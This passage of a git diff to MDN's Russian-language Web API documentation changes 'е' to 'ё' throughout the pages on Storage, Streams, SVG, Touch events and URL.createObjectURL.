<dt>{{domxref("SpeechSynthesisUtterance.onboundary")}}</dt> - <dd>Срабатывает, когда произнесенное высказывание достигает границы слова или предложения.</dd> + <dd>Срабатывает, когда произнесённое высказывание достигает границы слова или предложения.</dd> <dt>{{domxref("SpeechSynthesisUtterance.onend")}}</dt> <dd>Срабатывает, когда произнесение произнесено.</dd> <dt>{{domxref("SpeechSynthesisUtterance.onerror")}}</dt> <dd>Срабатывает, когда возникает ошибка, которая препятствует успешному произнесению высказывания.</dd> <dt>{{domxref("SpeechSynthesisUtterance.onmark")}}</dt> - <dd>Срабатывает, когда произнесенное высказывание достигает названного тега метки «SSML».</dd> + <dd>Срабатывает, когда произнесённое высказывание достигает названного тега метки «SSML».</dd> <dt>{{domxref("SpeechSynthesisUtterance.onpause")}}</dt> <dd>Срабатывает, когда высказывание приостановлено.</dd> <dt>{{domxref("SpeechSynthesisUtterance.onresume")}}</dt> diff --git a/files/ru/web/api/storage/clear/index.html b/files/ru/web/api/storage/clear/index.html index ca829dae1b..869995f394 100644 --- a/files/ru/web/api/storage/clear/index.html +++ b/files/ru/web/api/storage/clear/index.html @@ -21,7 +21,7 @@ translation_of: Web/API/Storage/clear <h2 id="Пример">Пример</h2> -<p>Следующая функция создает 3 записи в локальном хранилище, после этого все значения удаляются с помощью метода <code>clear()</code>.</p> +<p>Следующая функция создаёт 3 записи в локальном хранилище, после этого все значения удаляются с помощью метода <code>clear()</code>.</p> <pre class="brush: js">function populateStorage() { localStorage.setItem('bgcolor', 'red'); @@ -110,7 +110,7 @@ translation_of: Web/API/Storage/clear </table> </div> -<p>Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p> +<p>Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объёма хранилищ для разных браузеров</a>.</p> <div class="note"> <p><strong>Примечание:</strong> Начиная с версии iOS 5.1, Safari Mobile хранит данные <code>localStorage</code> в папке cache, которая периодически подлежит очистке по требованию ОС, как правило при недостаточном количестве свободного места.</p> diff --git a/files/ru/web/api/storage/getitem/index.html b/files/ru/web/api/storage/getitem/index.html index cc066d8334..12a4985508 100644 --- a/files/ru/web/api/storage/getitem/index.html +++ b/files/ru/web/api/storage/getitem/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Storage/getItem --- <p>{{APIRef("Web Storage API")}}</p> -<p>Если в метод <code>getItem()</code> интерфейса {{domxref("Storage")}} передать ключ в качестве параметра, то метод вернет значение, лежащее в хранилище по указанному ключу.</p> +<p>Если в метод <code>getItem()</code> интерфейса {{domxref("Storage")}} передать ключ в качестве параметра, то метод вернёт значение, лежащее в хранилище по указанному ключу.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -120,7 +120,7 @@ translation_of: Web/API/Storage/getItem </table> </div> -<p>Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p> +<p>Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объёма хранилищ для разных браузеров</a>.</p> <div class="note"> <p><strong>Примечание:</strong> Начиная с версии iOS 5.1, Safari Mobile хранит данные <code>localStorage</code> в папке cache, которая периодически подлежит очистке по требованию ОС, как правило при недостаточном количестве свободного места</p> diff --git a/files/ru/web/api/storage/key/index.html b/files/ru/web/api/storage/key/index.html index f8ff0d97b5..7accb735a9 100644 --- a/files/ru/web/api/storage/key/index.html +++ b/files/ru/web/api/storage/key/index.html @@ -117,7 +117,7 @@ translation_of: Web/API/Storage/key </table> </div> -<p>Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь вы найдете <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p> +<p>Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь вы найдёте <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объёма хранилищ для разных браузеров</a>.</p> <div class="note"> <p><strong>Примечание: </strong>начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть случайно очищена по требованию OS, обычно это происходит, когда мало доступного места.</p> diff --git a/files/ru/web/api/storage/length/index.html b/files/ru/web/api/storage/length/index.html index 559673f403..98f6ea61aa 100644 --- a/files/ru/web/api/storage/length/index.html +++ b/files/ru/web/api/storage/length/index.html @@ -111,7 +111,7 @@ translation_of: Web/API/Storage/length </table> </div> -<p>Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p> +<p>Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объёма хранилищ для разных браузеров</a>.</p> <div class="note"> <p><strong>Примечание: </strong>начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть очищена случайно по требованию OS, обычно это происходит, когда мало доступного места.</p> diff --git a/files/ru/web/api/storage/removeitem/index.html b/files/ru/web/api/storage/removeitem/index.html index 12fbd2c7a4..e0767fa6a8 100644 --- a/files/ru/web/api/storage/removeitem/index.html +++ b/files/ru/web/api/storage/removeitem/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Storage/removeItem --- <p>{{APIRef("Web Storage API")}}</p> -<p>Если методу <code>removeItem()</code> интерфейса {{domxref("Storage")}} передать ключ, то из хранилища будет удален элемент с указанным ключом. </p> +<p>Если методу <code>removeItem()</code> интерфейса {{domxref("Storage")}} передать ключ, то из хранилища будет удалён элемент с указанным ключом. </p> <h2 id="Синтаксис">Синтаксис</h2> @@ -28,7 +28,7 @@ translation_of: Web/API/Storage/removeItem <h2 id="Пример">Пример</h2> -<p>Следующая функция создает три элемента внутри локального хранилища и потом удаляет элемент с ключом <em>image</em>.</p> +<p>Следующая функция создаёт три элемента внутри локального хранилища и потом удаляет элемент с ключом <em>image</em>.</p> <pre class="brush: js notranslate">function populateStorage() { localStorage.setItem('bgcolor', 'red'); diff --git a/files/ru/web/api/storage/setitem/index.html b/files/ru/web/api/storage/setitem/index.html index fe3540e3d6..75eb11453e 100644 --- a/files/ru/web/api/storage/setitem/index.html +++ b/files/ru/web/api/storage/setitem/index.html @@ -32,7 +32,7 @@ translation_of: Web/API/Storage/setItem <h2 id="Пример">Пример</h2> -<p>Следующая функция создает три элемента с данными в хранилище.</p> +<p>Следующая функция создаёт три элемента с данными в хранилище.</p> <pre class="brush: js">function populateStorage() { localStorage.setItem('bgcolor', 'red'); @@ -119,7 +119,7 @@ translation_of: Web/API/Storage/setItem </table> </div> -<p>Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p> +<p>Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объёма хранилищ для разных браузеров</a>.</p> <div class="note"> <p><strong>Примечание: </strong>начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть очищена случайно по требованию OS, обычно это происходит, когда мало доступного места.</p> diff --git a/files/ru/web/api/storagemanager/index.html b/files/ru/web/api/storagemanager/index.html index c28ba798a3..126c659604 100644 --- a/files/ru/web/api/storagemanager/index.html +++ b/files/ru/web/api/storagemanager/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/StorageManager --- <p>{{securecontext_header}}{{SeeCompatTable}}{{APIRef("Storage")}}</p> -<p><strong><code>StorageManager</code></strong> является частью <a href="/en-US/docs/Web/API/Storage_API">Storage API</a> и предоставляет интерфейс для управления правами на хранение данных и для получения объема данных, доступного для хранения. Доступ к интерфейсу можно получить через {{domxref("navigator.storage")}} или через {{domxref("WorkerNavigator.storage")}}.</p> +<p><strong><code>StorageManager</code></strong> является частью <a href="/en-US/docs/Web/API/Storage_API">Storage API</a> и предоставляет интерфейс для управления правами на хранение данных и для получения объёма данных, доступного для хранения. Доступ к интерфейсу можно получить через {{domxref("navigator.storage")}} или через {{domxref("WorkerNavigator.storage")}}.</p> <h2 id="Методы">Методы</h2> diff --git a/files/ru/web/api/streams_api/index.html b/files/ru/web/api/streams_api/index.html index 777342b3bd..3ed4fc27ae 100644 --- a/files/ru/web/api/streams_api/index.html +++ b/files/ru/web/api/streams_api/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/Streams_API <p>Потоковая передача данных предполагает разбивку ресурса, который вы хотите получить через сеть, на мелкие кусочки и затем их обработку часть за частью. Это то, что браузеры делают в любом случае получения ассетов, чтобы показать их на страницах — видео буфер и другие ресурсы доступные для воспроизведения, и иногда это заметно на изображениях, загружающихся частями.</p> -<p>Но методы работы с этим и данные никогда прежде не были доступны для JavaScript. Раньше, если мы хотели обработать часть ресурса, нам все равно пришлось бы загрузить весь файл (будь то видео, текстовый файл и т.п.), мы были бы обязаны скачать файл целиком, дождаться пока он будет приведен к необходимому формату и только потом работать с файлом после его полной загрузки.</p> +<p>Но методы работы с этим и данные никогда прежде не были доступны для JavaScript. Раньше, если мы хотели обработать часть ресурса, нам все равно пришлось бы загрузить весь файл (будь то видео, текстовый файл и т.п.), мы были бы обязаны скачать файл целиком, дождаться пока он будет приведён к необходимому формату и только потом работать с файлом после его полной загрузки.</p> <p>С помощью потоков доступных в JavaScript меняется все — вы можете начать обрабатывать данные бит за битом как только данные появляются на стороне клиента, без необходимости генерировать буфер, строку или какой либо объект из потока.</p> @@ -19,7 +19,7 @@ translation_of: Web/API/Streams_API <p>Но это не все преимущества — вы можете отловить процессы старта и завершения потока, связывать потоки в цепочки, обрабатывать ошибки или прерывать их если это необходимо, реагировать на скорость с которой поток считывается.</p> -<p>Основное использование потоков крутиться вокруг создания ответов доступными в виде потоков. Например, тело ответа {{domxref("Body")}} возвращенного успешным <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросом</a> может быть представлено как {{domxref("ReadableStream")}}, и вы можете прочитать его используя ридер полученный методом {{domxref("ReadableStream.getReader()")}}, отменить его с помощью {{domxref("ReadableStream.cancel()")}}, и тп.</p> +<p>Основное использование потоков крутиться вокруг создания ответов доступными в виде потоков. Например, тело ответа {{domxref("Body")}} возвращённого успешным <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросом</a> может быть представлено как {{domxref("ReadableStream")}}, и вы можете прочитать его используя ридер полученный методом {{domxref("ReadableStream.getReader()")}}, отменить его с помощью {{domxref("ReadableStream.cancel()")}}, и тп.</p> <p>Более сложные примеры задействуют создание ваших собственных потоков с помощью конструктора {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}}, например чтобы обработать данные внутри <a href="/en-US/docs/Web/API/Service_Worker_API">service worker</a>.</p> @@ -46,11 +46,11 @@ translation_of: Web/API/Streams_API <dl> <dt>{{domxref("WritableStream")}}</dt> - <dd>Предоставляет стандартную абстракцию, известную как раковина, для записи потоков по месту назначения. Этот объект идет вместе со встроенными методами контроля обратного потока и созданием очередей.</dd> + <dd>Предоставляет стандартную абстракцию, известную как раковина, для записи потоков по месту назначения. Этот объект идёт вместе со встроенными методами контроля обратного потока и созданием очередей.</dd> <dt>{{domxref("WritableStreamDefaultWriter")}}</dt> <dd>Представляет запись потока по умолчанию, которая может использоваться для записи фрагментов данных в записываемый поток.</dd> <dt>{{domxref("WritableStreamDefaultController")}}</dt> - <dd>Представляет собой контроллер состояния {{domxref("WritableStream")}}. При создании <code>WritableStream</code>, создается также соответствующий экземпляр <code>WritableStreamDefaultController</code>.</dd> + <dd>Представляет собой контроллер состояния {{domxref("WritableStream")}}. При создании <code>WritableStream</code>, создаётся также соответствующий экземпляр <code>WritableStreamDefaultController</code>.</dd> </dl> <h3 id="Дополнительные_API_и_операции_по_работе_с_потоками">Дополнительные API и операции по работе с потоками</h3> @@ -59,7 +59,7 @@ translation_of: Web/API/Streams_API <dt>{{domxref("ByteLengthQueuingStrategy")}}</dt> <dd>Предоставляет встроенную стратегию длины байт-очереди, которая может быть использована при построении потоков.</dd> <dt>{{domxref("CountQueuingStrategy")}}</dt> - <dd>Предоставляет встроенную стратегию организации очередей подсчета чанков, которая может использоваться при построении потоков.</dd> + <dd>Предоставляет встроенную стратегию организации очередей подсчёта чанков, которая может использоваться при построении потоков.</dd> </dl> <h3 id="Дополнения_к_другим_API">Дополнения к другим API</h3> @@ -68,7 +68,7 @@ translation_of: Web/API/Streams_API <dt>{{domxref("Request")}}</dt> <dd>При создании нового объекта типа <code>Request</code>, вы можете добавить {{domxref("ReadableStream")}} в свойство <code>body</code> его словаря <code>RequestInit</code>. Этот объект типа <code>Request</code> может быть отправлен в {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, чтобы начать загрузку потока.</dd> <dt>{{domxref("Body")}}</dt> - <dd>Ответ {{domxref("Body")}} возвращенный успешному <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросу</a> вывешивается по умолчанию как {{domxref("ReadableStream")}}, и может иметь получателя прикрепленного к нему и тп.</dd> + <dd>Ответ {{domxref("Body")}} возвращённый успешному <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросу</a> вывешивается по умолчанию как {{domxref("ReadableStream")}}, и может иметь получателя прикреплённого к нему и тп.</dd> </dl> <h3 id="Интерфейсы_в_дополнение_к_ByteStream">Интерфейсы в дополнение к ByteStream</h3> diff --git a/files/ru/web/api/svgaelement/index.html b/files/ru/web/api/svgaelement/index.html index 7bd391a9ff..16d0806808 100644 --- a/files/ru/web/api/svgaelement/index.html +++ b/files/ru/web/api/svgaelement/index.html @@ -23,7 +23,7 @@ translation_of: Web/API/SVGAElement <dt>{{domxref("SVGAElement.hreflang")}}</dt> <dd>Является {{domxref("DOMString")}}, который отражает атрибут <code>hreflang</code>, указывающий язык связанного ресурса.</dd> <dt>{{domxref("SVGAElement.ping")}}</dt> - <dd>Является {{domxref("DOMString")}}, отражая атрибут ping, содержащий список URL-адресов, разделенных пробелами, к которым, когда выполняется гиперссылка, {{HTTPMethod("POST")}} запрос с телом <code>PING</code> будет отправлен браузером (в фоновом режиме). Обычно используется для отслеживания.</dd> + <dd>Является {{domxref("DOMString")}}, отражая атрибут ping, содержащий список URL-адресов, разделённых пробелами, к которым, когда выполняется гиперссылка, {{HTTPMethod("POST")}} запрос с телом <code>PING</code> будет отправлен браузером (в фоновом режиме). Обычно используется для отслеживания.</dd> <dt>{{domxref("SVGAElement.referrerPolicy")}}</dt> <dd>См. {{domxref("HTMLAnchorElement.referrerPolicy")}}.</dd> <dt>{{domxref("SVGAElement.rel")}}</dt> diff --git a/files/ru/web/api/svgaelement/target/index.html b/files/ru/web/api/svgaelement/target/index.html index d8e3ba1aa2..4af2cede02 100644 --- a/files/ru/web/api/svgaelement/target/index.html +++ b/files/ru/web/api/svgaelement/target/index.html @@ -48,7 +48,7 @@ linkRef.target ='_blank'; <h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("api.SVGAElement.target")}}</p> diff --git a/files/ru/web/api/svggraphicselement/index.html b/files/ru/web/api/svggraphicselement/index.html index 86f9e76035..eca4dd9c22 100644 --- a/files/ru/web/api/svggraphicselement/index.html +++ b/files/ru/web/api/svggraphicselement/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/SVGGraphicsElement <p>{{InheritanceDiagram(600, 120)}}</p> <div class="note"> -<p><strong>Note:</strong> Этот интерфейс был введен в SVG 2 и заменяет интерфейсы {{domxref("SVGLocatable")}} и {{domxref("SVGTransformable")}} из SVG 1.1.</p> +<p><strong>Note:</strong> Этот интерфейс был введён в SVG 2 и заменяет интерфейсы {{domxref("SVGLocatable")}} и {{domxref("SVGTransformable")}} из SVG 1.1.</p> </div> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/svgtextcontentelement/index.html b/files/ru/web/api/svgtextcontentelement/index.html index 384958a557..8a7c2f356f 100644 --- a/files/ru/web/api/svgtextcontentelement/index.html +++ b/files/ru/web/api/svgtextcontentelement/index.html @@ -93,7 +93,7 @@ translation_of: Web/API/SVGTextContentElement <tr> <td>{{SpecName("SVG2", "text.html#InterfaceSVGTextContentElement", "SVGTextContentElement")}}</td> <td>{{Spec2("SVG2")}}</td> - <td>Измененное наследование от {{domxref("SVGElement")}} до {{domxref("SVGGraphicsElement")}} и <code>getStartPositionOfChar()</code> удаленных реализаций {{domxref("SVGTests")}}, {{domxref("SVGLangSpace" )}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}} интерфейсов и <code>getEndPositionOfChar()</code>, чтобы вернуть {{domxref("DOMPoint")}} вместо {{domxref( "SVGPoint")}}.</td> + <td>Изменённое наследование от {{domxref("SVGElement")}} до {{domxref("SVGGraphicsElement")}} и <code>getStartPositionOfChar()</code> удалённых реализаций {{domxref("SVGTests")}}, {{domxref("SVGLangSpace" )}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}} интерфейсов и <code>getEndPositionOfChar()</code>, чтобы вернуть {{domxref("DOMPoint")}} вместо {{domxref( "SVGPoint")}}.</td> </tr> <tr> <td>{{SpecName("SVG1.1", "text.html#InterfaceSVGTextContentElement", "SVGTextContentElement")}}</td> @@ -105,6 +105,6 @@ translation_of: Web/API/SVGTextContentElement <h2 id="Совместимость_с_браузером">Совместимость с браузером</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("api.SVGTextContentElement")}}</p> diff --git a/files/ru/web/api/svgtextelement/index.html b/files/ru/web/api/svgtextelement/index.html index f1e27d56a3..2ccbf4d576 100644 --- a/files/ru/web/api/svgtextelement/index.html +++ b/files/ru/web/api/svgtextelement/index.html @@ -34,7 +34,7 @@ translation_of: Web/API/SVGTextElement <td>{{SpecName("SVG2", "text.html#InterfaceSVGTextElement", "SVGTextElement")}}</td> <td>{{Spec2("SVG2")}}</td> <td> - <p>Удален реализованный<br> + <p>Удалён реализованный<br> интерфейс {{domxref("SVGTransformable")}}.</p> </td> </tr> @@ -49,7 +49,7 @@ translation_of: Web/API/SVGTextElement <h2 id="Совместимость_с_браузером">Совместимость с браузером</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("api.SVGTextElement")}}</p> </div> diff --git a/files/ru/web/api/text/index.html b/files/ru/web/api/text/index.html index f8e5f25f0e..625848211b 100644 --- a/files/ru/web/api/text/index.html +++ b/files/ru/web/api/text/index.html @@ -32,7 +32,7 @@ translation_of: Web/API/Text <p>Возвращает флаг {{domxref("Boolean")}}, сигнализирующий, содержит ли (или нет) text node только пробел(ы).</p> </dd> <dt>{{domxref("Text.wholeText")}} {{readonlyInline}}</dt> - <dd>Возвращает {{domxref("DOMString")}}, который содержит все <code>Text</code> nodes логически примыкающие к этому {{domxref("Node")}}, соединенные как в документе.</dd> + <dd>Возвращает {{domxref("DOMString")}}, который содержит все <code>Text</code> nodes логически примыкающие к этому {{domxref("Node")}}, соединённые как в документе.</dd> <dt>{{domxref("Text.assignedSlot")}} {{readonlyinline}}</dt> <dd>Возвращает объект {{domxref("HTMLSlotElement")}}, связанный с этим элементом.</dd> </dl> @@ -76,7 +76,7 @@ translation_of: Web/API/Text <td>{{SpecName('DOM WHATWG', '#text', 'Text')}}</td> <td>{{Spec2('DOM WHATWG')}}</td> <td>Удалено свойство <code>isElementContentWhitespace</code>.<br> - <code>Удален метод replaceWholeText()</code>.<br> + <code>Удалён метод replaceWholeText()</code>.<br> Добавлен конструктор <code>Text()</code>.<br> Добавлено свойство <code>assignedSlot</code>.</td> </tr> diff --git a/files/ru/web/api/touch_events/index.html b/files/ru/web/api/touch_events/index.html index 0784963a41..fd86517821 100644 --- a/files/ru/web/api/touch_events/index.html +++ b/files/ru/web/api/touch_events/index.html @@ -93,7 +93,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> } </pre> -<p>Она вызывает {{domxref("event.preventDefault()")}} для того, чтобы предотвратить обработку браузером события касания (это также предотвращает обработку события мыши). Затем мы получаем контекст и извлекаем список измененных точек касаний из свойства {{domxref("TouchEvent.changedTouches")}} данного события.</p> +<p>Она вызывает {{domxref("event.preventDefault()")}} для того, чтобы предотвратить обработку браузером события касания (это также предотвращает обработку события мыши). Затем мы получаем контекст и извлекаем список изменённых точек касаний из свойства {{domxref("TouchEvent.changedTouches")}} данного события.</p> <p>После этого мы перебираем все объекты {{domxref("Touch")}} в списке, помещая их в массив активных точек касания и рисуя начальную точку в виде маленького кружка; мы используем линию толщиной 4 пикселя, поэтому получим аккуратный круг радиусом 4 пикселя.</p> @@ -131,7 +131,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> } </pre> -<p>Функция также перебирает измененные касания, ищет в нашем массиве данных о касаниях предыдущие данные о каждом касании для определения начальной точки каждого отрезка линии, который должен быть нарисован с помощью касания. Это реализовано путем отслеживания свойства {{domxref("Touch.identifier")}} каждого касания. Это свойство является уникальным числом для каждого касания, и остается неизменным на протяжении всего времени контакта пальца с экраном.</p> +<p>Функция также перебирает изменённые касания, ищет в нашем массиве данных о касаниях предыдущие данные о каждом касании для определения начальной точки каждого отрезка линии, который должен быть нарисован с помощью касания. Это реализовано путём отслеживания свойства {{domxref("Touch.identifier")}} каждого касания. Это свойство является уникальным числом для каждого касания, и остаётся неизменным на протяжении всего времени контакта пальца с экраном.</p> <p>Это позволяет нам получать координаты предыдущей позиции каждого касания и использовать подходящий метод "canvas-контекста" для рисования отрезка линии, соединяющего начало и конец.</p> @@ -139,7 +139,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <h4 id="Обработка_завершения_касания">Обработка завершения касания</h4> -<p>Когда пользователь убирает палец с сенсорной поверхности, срабатывает событие {{domxref("Element/touchend_event", "touchend")}}. Мы обрабатываем его, вызывая функцию <code>handleEnd()</code>, которая представлена ниже. Ее задача - рисовать последний отрезок линии для каждого касания, которое завершилось, и удалять точку касания из текущего списка касаний.</p> +<p>Когда пользователь убирает палец с сенсорной поверхности, срабатывает событие {{domxref("Element/touchend_event", "touchend")}}. Мы обрабатываем его, вызывая функцию <code>handleEnd()</code>, которая представлена ниже. Её задача - рисовать последний отрезок линии для каждого касания, которое завершилось, и удалять точку касания из текущего списка касаний.</p> <pre class="brush: js notranslate">function handleEnd(evt) { evt.preventDefault(); @@ -167,9 +167,9 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> } </pre> -<p>Она очень похожа на предыдущую функцию; единственное отличие заключается в том, что,что теперь мы рисуем маленький квадрат, чтобы обозначить конец, и в том, что когда мы мы вызываем <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/splice">Array.splice()</a></code>, мы просто удаляем старую запись из текущего списка касаний без добавления обновленной информации. В результате мы прекращаем отслеживать эту точку касания.</p> +<p>Она очень похожа на предыдущую функцию; единственное отличие заключается в том, что,что теперь мы рисуем маленький квадрат, чтобы обозначить конец, и в том, что когда мы мы вызываем <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/splice">Array.splice()</a></code>, мы просто удаляем старую запись из текущего списка касаний без добавления обновлённой информации. В результате мы прекращаем отслеживать эту точку касания.</p> -<h4 id="Обработка_отмененных_касаний">Обработка отмененных касаний</h4> +<h4 id="Обработка_отменённых_касаний">Обработка отменённых касаний</h4> <p>Если палец пользователя перемещается в интерфейс браузера или прикосновение должно быть отменено, отправляется событие {{domxref("Element/touchcancel_event", "touchcancel")}}, и мы вызываем функцию <code>handleCancel()</code>, приведённую ниже.</p> @@ -330,8 +330,8 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <h3 id="Firefox_события_касаний_и_многопроцессность_e10s">Firefox, события касаний и многопроцессность (e10s)</h3> -<p>В Firefox события касания отключены, когда отключен e10s (электролиз; <a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox">многопроцессорный Firefox</a>). e10s включен по умолчанию в Firefox, но может в конечном итоге отключаться в определенных ситуациях, например, когда установлены определенные инструменты специальных возможностей или надстройки Firefox, для работы которых требуется отключение e10s. Это означает, что даже на настольном компьютере / ноутбуке с сенсорным экраном сенсорные события не будут включены.</p> +<p>В Firefox события касания отключены, когда отключён e10s (электролиз; <a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox">многопроцессорный Firefox</a>). e10s включён по умолчанию в Firefox, но может в конечном итоге отключаться в определённых ситуациях, например, когда установлены определённые инструменты специальных возможностей или надстройки Firefox, для работы которых требуется отключение e10s. Это означает, что даже на настольном компьютере / ноутбуке с сенсорным экраном сенсорные события не будут включены.</p> -<p>Вы можете проверить, отключен ли e10s, перейдя в <code>about:support</code> и посмотрев на запись «Многопроцессорная Windows» в разделе «Основы приложения». 1/1 означает, что он включен, 0/1 означает отключен.</p> +<p>Вы можете проверить, отключён ли e10s, перейдя в <code>about:support</code> и посмотрев на запись «Многопроцессорная Windows» в разделе «Основы приложения». 1/1 означает, что он включён, 0/1 означает отключен.</p> -<p>Если вы хотите принудительно включить e10s - чтобы явно повторно включить поддержку сенсорных событий - вам нужно перейти к <code>about:config</code> и создать новое логическое предпочтение <code>browser.tabs.remote.force-enable</code>. Установите значение <code>true</code>, перезапустите браузер, и e10s будет включен независимо от любых других настроек.</p> +<p>Если вы хотите принудительно включить e10s - чтобы явно повторно включить поддержку сенсорных событий - вам нужно перейти к <code>about:config</code> и создать новое логическое предпочтение <code>browser.tabs.remote.force-enable</code>. Установите значение <code>true</code>, перезапустите браузер, и e10s будет включён независимо от любых других настроек.</p> diff --git a/files/ru/web/api/touchevent/index.html b/files/ru/web/api/touchevent/index.html index 2f5fa25eee..d141c8daa5 100644 --- a/files/ru/web/api/touchevent/index.html +++ b/files/ru/web/api/touchevent/index.html @@ -23,7 +23,7 @@ translation_of: Web/API/TouchEvent <dl> <dt>{{domxref("TouchEvent.TouchEvent", "TouchEvent()")}}</dt> - <dd>Создает экземпляр <code>TouchEvent</code>.</dd> + <dd>Создаёт экземпляр <code>TouchEvent</code>.</dd> </dl> <h2 id="Свойства">Свойства</h2> @@ -65,7 +65,7 @@ translation_of: Web/API/TouchEvent <p>Цель события - тот же экземпляр {{ domxref("Element") }}, что и для события <code>touchstart</code> с соответствующей точкой касания, даже если точка касания переместилась за пределы элемента.</p> -<p>Точки касания, удаленные с поверхности, содержатся в списке {{ domxref("TouchList") }}, который можно получить через атрибут <code>changedTouches</code> события.</p> +<p>Точки касания, удалённые с поверхности, содержатся в списке {{ domxref("TouchList") }}, который можно получить через атрибут <code>changedTouches</code> события.</p> <h3 id="domxrefElementtouchmove_event_touchmove">{{domxref("Element/touchmove_event", "touchmove")}}</h3> diff --git a/files/ru/web/api/url/createobjecturl/index.html b/files/ru/web/api/url/createobjecturl/index.html index bff6b425d5..01201cc4b0 100644 --- a/files/ru/web/api/url/createobjecturl/index.html +++ b/files/ru/web/api/url/createobjecturl/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/URL/createObjectURL <h2 id="Определение">Определение</h2> -<p><strong><code>URL.createObjectURL()</code></strong> - статический метод, который создает {{domxref("DOMString")}}, содержащий URL с указанием на объект, заданный как параметр. Время жизни URL связано с {{domxref("document")}} окна в котором он был создан. Новый URL объект может представлять собой {{domxref("File")}} объект или {{domxref("Blob")}} объект.</p> +<p><strong><code>URL.createObjectURL()</code></strong> - статический метод, который создаёт {{domxref("DOMString")}}, содержащий URL с указанием на объект, заданный как параметр. Время жизни URL связано с {{domxref("document")}} окна в котором он был создан. Новый URL объект может представлять собой {{domxref("File")}} объект или {{domxref("Blob")}} объект.</p> <p>{{AvailableInWorkers}}</p> @@ 